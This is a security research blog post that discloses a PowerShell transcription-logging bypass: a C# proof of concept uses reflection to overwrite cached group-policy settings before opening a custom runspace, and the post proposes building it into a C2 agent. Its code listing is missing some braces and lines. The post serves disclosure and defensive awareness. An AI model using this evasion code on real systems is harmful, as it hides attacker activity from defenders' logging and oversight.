PowerShell Enhanced Logging Capabilities Bypass

A blog post about a new enhanced logging capabilities bypass for PowerShell, which allows to bypass transcription logging.

PowerShell 5.1 offers three different types of logging: script block logging, module logging, and transcription. The different capabilities of the logging mechanisms will not be discussed in this blog post, they can be found in the official Microsoft documentation or in blog posts of other security researchers (for example: this FireEye blog post). As attackers started using PowerShell more often, defenders have begun enabling these logging capabilities to try and recognize possible malicious activity. However, for both attackers and defenders, it is important to be aware of the current bypasses of these logging capabilities.

When we started looking into these logging mechanisms, two out of three could already be bypassed, namely script block logging and module logging. There are two different bypass techniques: 

  • SharpSploit's Shell.cs has a switch to enable the logging bypass. If this switch is set, the events that are created from the logging mechanisms and sent to the Event Tracing for Windows (ETW) are sent with a non-standard GUID set. Which means that a defender sorting the Windows events to only see PowerShell related events will no longer see these logs, because Windows does not associate the new GUID with PowerShell. With this, the logging does not truly get bypassed, but it does make the analysis of script block logging or module logging events harder and a defender that is unaware of this bypass might never see the relevant events.
  • Ryan Cobb (@cobbr) has found another, more refined script block logging bypass and has written a blog post about it on his personal blog. BC Security then showed how to use this bypass to also disable module logging in their blog post. The bypass abuses a caching mechanism used by PowerShell. This will be further explained a bit later.

By abusing the same caching mechanisms as in the script block logging and module logging bypass, we were able to find a way to also bypass PowerShell transcription. We are not aware of any other transcription logging bypass at the time of this report.

Technical Explanation
Whether the logging mechanisms are active or not can be defined using the registry keys in HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\. As they are under HKEY_LOCAL_MACHINE, administrative rights are necessary for any changes to these registry keys. Since according to Ryan Cobb's blog post PowerShell checks the script block logging value everytime a script block is seen, the values are cached into the cachedGroupPolicySettings field in System.Management.Automation.Utils. But by using reflection in C#, these values can be changed by the user, even users without administrative privileges that cannot modify the registry entries themselves.

This is not anything new yet. However, bypassing the transcription logging is not possible without an additional step. If the registry key EnableTranscripting is set to 0 while in an active PowerShell session, the transcript is continued and no bypass is possible, even though the cached value is set to 0. But if these changes to the field are made before a custom PowerShell runspace is opened, the runspace will use the cached (and modified) values, effectively allowing a bypass of the three logging mechanisms by an unprivileged user. This was verified on Windows 10 Pro (build 19042), other versions may also be affected with high probability.

Proof of Concept
The following C# code creates a custom runspace, overwrites the cached value for EnableTranscripting with a value of "0" and then opens the runspace. A PowerShell instance is then created using this runspace to run an arbitrary command. No transcript file is created, even if the non-cached registry value is set to "1".
Note: A reference to System.Management.Automation.dll is required to initially compile the code (tested in Microsoft Visual Studio 2019).

using System;
using System.Reflection;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Collections.ObjectModel;

namespace CustomRunspace
    class CustomRunspace
        static void Main(string[] args)
            Runspace rs = RunspaceFactory.CreateRunspace();

            // Transcription Logging Bypass
            BindingFlags bf = BindingFlags.NonPublic | BindingFlags.Static;
            ConcurrentDictionary<string, Dictionary<string, object>> value = (ConcurrentDictionary<string, Dictionary<string, object>>) rs.GetType().Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings", bf).GetValue(null);
            Dictionary<string, object> dic = new Dictionary<string, object>();
            dic.Add("EnableTranscripting", "0");
            value.GetOrAdd("HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", dic);
            // Open Runspace, cachedGroupPolicySettings seem to be read now

            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;

            Collection<PSObject> results = ps.Invoke();
            foreach (var result in results)

Bypass in action
As can be seen in the GIF above, PowerShell transcription is enabled on the test system. The transcripts will be written into the Documents folder of the user. When opening a PowerShell window, the folder 20210511 is created and the transcript is written into it. Now, CustomRunspace.exe is executed. This executable uses the PoC above, but echoes $psversiontable into output_poc.txt in the transcription folder using a hardcoded path. This is to show that a PowerShell instance is opened, information about the PowerShell version is echoed, but no transcript is created.

Additionally, when a normal PowerShell window is investigated in ProcessHacker, a handle to the transcript file can be seen being active.

Process view in ProcessHacker

In the overview for the CustomRunspace.exe process, no handle to any transcript file is active.

No handle is shown in ProcessHacker

We at avantguard cyber security GmbH are fans of the open-source command-and-control (C2) framework Covenant. As it is open-source, users are able to edit, debug and test the C# source code. Covenant uses SharpSploit and an attacker could thus modify the source code of the C2 agent (called "Grunt" in Covenant) so that instead of just opening a new PowerShell instance, a new custom runspace is created and opened with the modified cached registry values. This would have to be done in SharpSploit/Execution/Shell.cs. This C2 agent could bypass all enhanced PowerShell logging mechanisms, including PowerShell transcription.

Future Work
We will continue to test how PowerShell uses the cachedGroupPolicySettings field in System.Management.Automation.Utils and if other registry keys are read from the cache when a custom runspace is opened. Furthermore, we will enumerate additional fields and functions that are not well documented. Reading values that only a privileged user should be able to modify from a user-controllable cache is in our opinion a security vulnerability and other similar vulnerabilities could potentially be found as well.

For more information, further ideas, new results based on this bypass or if this blog post has helped you in any other way, please tweet at us at @avantguard_io or contact us via We would love to hear from you and are interested in your thoughts and questions!

10 May 2021 - Reported the issue to Microsoft as a Security Feature Bypass via the Mitigation Bypass Bounty Program
19 May 2021 - Confirmation of the reported behavior from Microsoft and that it will be further investigated  
26 May 2021 - Issue was classisfied as Not a Vulnerability for the bounty program  
09 July 2021 - Microsoft has decided that it will not be fixing this vulnerability in the current version and gave permission to us to publish information about our work

Similar posts